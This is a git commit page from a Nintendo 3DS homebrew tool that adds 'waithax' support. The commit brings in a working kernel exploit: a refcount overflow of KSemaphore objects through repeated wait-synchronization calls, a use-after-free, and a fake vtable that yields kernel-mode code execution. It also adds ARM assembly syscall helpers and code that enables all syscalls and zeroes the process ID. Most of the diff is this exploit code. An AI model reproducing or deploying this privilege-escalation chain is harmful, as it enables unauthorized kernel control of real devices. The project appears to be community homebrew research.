Add waithax support.

This commit is contained in:
Steveice10 2016-12-13 17:05:12 -08:00
parent 04798ef91e
commit 256c19c3cc
8 changed files with 321 additions and 21 deletions

View File

@ -10,4 +10,6 @@ Requires [devkitARM](http://sourceforge.net/projects/devkitpro/files/devkitARM/)
Banner: [OctopusRift](http://gbatemp.net/members/octopusrift.356526/), [Apache Thunder](https://gbatemp.net/members/apache-thunder.105648/)
SPI Protocol Information: [TuxSH](https://github.com/TuxSH/) ([TWLSaveTool](https://github.com/TuxSH/TWLSaveTool))
SPI Protocol Information: [TuxSH](https://github.com/TuxSH/) ([TWLSaveTool](https://github.com/TuxSH/TWLSaveTool))
svchax: [aliaspider](https://github.com/aliaspider), waithax: [Mrrraou](https://github.com/Mrrraou)

View File

@ -3,6 +3,7 @@
#include <string.h>
#include <malloc.h>
#include "svchax.h"
#include "waithax.h"
#define CURRENT_KTHREAD 0xFFFF9000
#define CURRENT_KPROCESS 0xFFFF9004
@ -45,10 +46,12 @@ static u32 svc_7b(backdoor_fn entry_fn, ...) // can pass up to two arguments to
return 0;
}
static void k_enable_all_svcs(u32 isNew3DS)
static bool g_is_new3ds;
static void k_enable_all_svcs()
{
u32* thread_ACL = *(*(u32***)CURRENT_KTHREAD + 0x22) - 0x6;
u32* process_ACL = *(u32**)CURRENT_KPROCESS + (isNew3DS ? 0x24 : 0x22);
u32* process_ACL = *(u32**)CURRENT_KPROCESS + (g_is_new3ds ? 0x24 : 0x22);
memset(thread_ACL, 0xFF, 0x10);
memset(process_ACL, 0xFF, 0x10);
@ -460,31 +463,38 @@ static void do_memchunkhax1(void)
Result svchax_init(bool patch_srv)
{
bool isNew3DS;
APT_CheckNew3DS(&isNew3DS);
APT_CheckNew3DS(&g_is_new3ds);
u32 kver = osGetKernelVersion();
if (!__ctr_svchax)
{
if (__service_ptr)
{
if (kver > SYSTEM_VERSION(2, 50, 11))
if(!__ctr_svchax) {
if(__service_ptr) {
if(kver > SYSTEM_VERSION(2, 51, 2)) {
return -1;
else if (kver > SYSTEM_VERSION(2, 46, 0))
do_memchunkhax2();
else
do_memchunkhax1();
} else if(kver > SYSTEM_VERSION(2, 50, 11)) {
if(waithax_run()) {
waithax_backdoor(k_enable_all_svcs);
__ctr_svchax = 1;
}
} else {
if(kver > SYSTEM_VERSION(2, 46, 0)) {
do_memchunkhax2();
} else {
do_memchunkhax1();
}
svc_7b((backdoor_fn) k_enable_all_svcs);
__ctr_svchax = 1;
}
} else {
svc_7b((backdoor_fn) k_enable_all_svcs);
__ctr_svchax = 1;
}
svc_7b((backdoor_fn)k_enable_all_svcs, isNew3DS);
__ctr_svchax = 1;
}
if (patch_srv && !__ctr_svchax_srv)
if (patch_srv && __ctr_svchax && !__ctr_svchax_srv)
{
u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (isNew3DS ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC);
u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (g_is_new3ds ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC);
u32 old_PID = read_kaddr(PID_kaddr);
write_kaddr(PID_kaddr, 0);
srvExit();

10
source/hax/utils.h Normal file
View File

@ -0,0 +1,10 @@
#pragma once
#include <3ds/types.h>
typedef u32(*backdoor_fn)(u32 arg0, u32 arg1);
u32 svc_7b(void* entry_fn, ...); // can pass up to two arguments to entry_fn(...)
Result svcCreateSemaphoreKAddr(Handle *semaphore, s32 initialCount, s32 maxCount, u32 **kaddr);
Result svcGetHandleInfo(s64* out, Handle handle, u32 type);

51
source/hax/utils.s Normal file
View File

@ -0,0 +1,51 @@
.arm
.section .text
@ Shamelessly based from Steveice's memchunkhax2 repo. I miss those old days
@ Credits to TuxSH for finding this leak
@ Please don't expect KTM for this
.global svcCreateSemaphoreKAddr
.type svcCreateSemaphoreKAddr, %function
svcCreateSemaphoreKAddr:
str r0, [sp, #-4]!
str r3, [sp, #-4]!
svc 0x15
ldr r3, [sp], #4
sub r2, r2, #4 @ Fix the kobject ptr
str r2, [r3]
ldr r3, [sp], #4
str r1, [r3]
bx lr
.global svcGetHandleInfo
.type svcGetHandleInfo, %function
svcGetHandleInfo:
str r0, [sp, #-0x4]!
svc 0x29
ldr r3, [sp], #4
str r1, [r3]
str r2, [r3, #4]
bx lr
@ Here for debug/dev purposes
.global svc_7b
.type svc_7b, %function
svc_7b:
push {r0, r1, r2}
mov r3, sp
add r0, pc, #12
svc 0x7b
add sp, sp, #8
ldr r0, [sp], #4
bx lr
cpsid aif
ldr r2, [r3], #4
ldmfd r3!, {r0, r1}
push {r3, lr}
blx r2
pop {r3, lr}
str r0, [r3, #-4]!
mov r0, #0
bx lr

204
source/hax/waithax.c Normal file
View File

@ -0,0 +1,204 @@
#include <3ds.h>
#include <stdio.h>
#include <string.h>
#include "waithax.h"
#include "utils.h"
static Handle g_backdoor_semaphore;
static KSemaphore* g_backdoor_ksemaphore;
static KSemaphore* g_hax_ksemaphore;
static KSemaphore g_backup_data;
static void* g_fake_ksemaphore_vtable[KSEMAPHORE_VTABLESIZE / sizeof(void*)];
static void (*g_backdoor_method)(void);
static u32 g_exploit_result = 0;
static bool g_debug_mode = false;
static void K_Debug_PatchRefcount(KSemaphore *semaphore, u32 value)
{
semaphore->refCount = value;
}
static bool waithax_kernel11_backdoor(KSemaphore *this, void *thread)
{
g_backdoor_method();
return true;
}
static void waithax_kernel11_setup_step1(KSemaphore *this)
{
// Turn interrupts off
__asm__ volatile("cpsid aif");
// Backup the KObjectLink from the hax semaphore location
memcpy(&g_backup_data, this, sizeof(KSemaphore));
// Copy a valid KSemaphore on the current semaphore to prevent crashes after
// returning from this fake vtable method
memcpy(this, g_backdoor_ksemaphore, sizeof(KSemaphore));
// Copy the KSemaphore vtable from kernel memory to the current userland
// process' memory
memcpy(g_fake_ksemaphore_vtable, this->vtable, KSEMAPHORE_VTABLESIZE);
// Point the "backdoor" KSemaphore's vtable to the fake vtable located in
// the current userland process' memory
g_backdoor_ksemaphore->vtable = g_fake_ksemaphore_vtable;
// Increment the refcount to not cause an unwanted deallocation when
// WaitSynchronization1 terminates.
this->refCount++;
// Write the exploit result to validate the kernel code execution
g_exploit_result = 0xcafebabe;
}
static void waithax_kernel11_setup_step2(void)
{
// Turn interrupts off
__asm__ volatile("cpsid aif");
// Restore KObjectLink on the hax semaphore location
memcpy(g_hax_ksemaphore, &g_backup_data, sizeof(KSemaphore));
}
static void waithax_setRefCount(Handle handle, u32 value)
{
s64 outInfo;
Result res = svcGetHandleInfo(&outInfo, handle, 1);
u32 refCount = outInfo & 0xFFFFFFFF;
printf("Handle %08lx, count: %08lx, res %08lx\n", handle, refCount, res);
if(refCount == value)
return;
u32 loop = value - refCount;
if(refCount > value)
loop = (u32) -refCount + value;
s32 out;
Handle handles[0x100];
for(u32 i = 0; i < 0x100; i++)
handles[i] = handle;
handles[0xFF] = 0xDEADDEAD;
u32 bulkLoop = loop / 0xFF;
u32 individualLoop = loop % 0xFF;
for(u32 i = 0; i < bulkLoop; i++)
{
res = svcWaitSynchronizationN(&out, handles, 0x100, true, 0);
refCount += 0xFF;
if(i % 0x10000 == 0)
printf("Left: %08lx | i: %08lx | count: %08lx\n", bulkLoop - i, i,
refCount);
}
handles[1] = 0xDEADDEAD;
for(u32 i = 0; i < individualLoop; i++)
{
res = svcWaitSynchronizationN(&out, handles, 2, true, 0);
refCount++;
printf("Left: %08lx | i: %08lx | count: %08lx\n", individualLoop - i, i,
refCount);
}
}
static void wait_thread(void *h)
{
Handle semaphore = (Handle)h;
Result res = svcWaitSynchronization(semaphore, 4000000000LL);
printf("Thread WaitSync res: %08lx\n", res);
}
bool waithax_run(void)
{
Result res;
Handle sHax, sVtable;
Thread thWait;
u32 *kObject;
// Setup KSemaphores
res = svcCreateSemaphoreKAddr(&sHax, 0, 5, (u32**)&g_hax_ksemaphore);
printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sHax,
(u32)g_hax_ksemaphore);
res = svcCreateSemaphoreKAddr(&sVtable, 0,
(u32)waithax_kernel11_setup_step1, &kObject);
printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sVtable,
(u32)kObject);
res = svcCreateSemaphoreKAddr(&g_backdoor_semaphore, 0, 5,
(u32**)&g_backdoor_ksemaphore);
printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res,
g_backdoor_semaphore, (u32)g_backdoor_ksemaphore);
// Setup the refcount
if(g_debug_mode)
svc_7b(K_Debug_PatchRefcount, g_hax_ksemaphore, 0U);
else
waithax_setRefCount(sHax, 0U);
// Free the "vtable" KSemaphore
svcCloseHandle(sVtable);
// Spawn the wait thread
printf("Spawning wait thread\n");
thWait = threadCreate(wait_thread, (void*)sHax, 0x4000, 0x20, -2, true);
// Deallocate the "hax" KSemaphore
printf("Freeing hax KSemaphore\n");
svcCloseHandle(sHax);
// Wait for the thread execution to end, at which point Kernel11-mode code
// will have been executed
printf("Waiting for thread\n");
threadJoin(thWait, 15000000000LL);
// Setup the fake vtable method for the "backdoor" KSemaphore to run
// Kernel11-mode code in a better environment and in an easier way
printf("Setting up fake vtable method\n");
g_fake_ksemaphore_vtable[12] = waithax_kernel11_backdoor;
// Restore "hax" KSemaphore data
waithax_backdoor(waithax_kernel11_setup_step2);
// Return exploit result
printf("Exploit result: %08lx\n", g_exploit_result);
return g_exploit_result == 0xcafebabe;
}
void waithax_cleanup(void)
{
svcCloseHandle(g_backdoor_semaphore);
}
void waithax_debug(bool enabled)
{
g_debug_mode = enabled;
}
void waithax_backdoor(void (*method)(void))
{
g_backdoor_method = method;
svcWaitSynchronization(g_backdoor_semaphore, -1);
}

23
source/hax/waithax.h Normal file
View File

@ -0,0 +1,23 @@
#pragma once
#include <3ds/types.h>
#define KSEMAPHORE_SIZE (0x2C)
#define KSEMAPHORE_VTABLESIZE (0x16 * sizeof(void*))
typedef struct KSemaphore {
void **vtable;
u32 refCount;
u32 __a;
u32 __b;
u32 __c;
u32 __ievent[3];
u32 count;
u32 maxCount;
void *owner;
} __attribute__((packed)) KSemaphore;
bool waithax_run(void);
void waithax_cleanup(void);
void waithax_debug(bool enabled);
void waithax_backdoor(void (*method)(void));

View File

@ -5,7 +5,7 @@
#include "core/clipboard.h"
#include "core/screen.h"
#include "core/util.h"
#include "svchax/svchax.h"
#include "hax/svchax.h"
#include "ui/error.h"
#include "ui/mainmenu.h"
#include "ui/ui.h"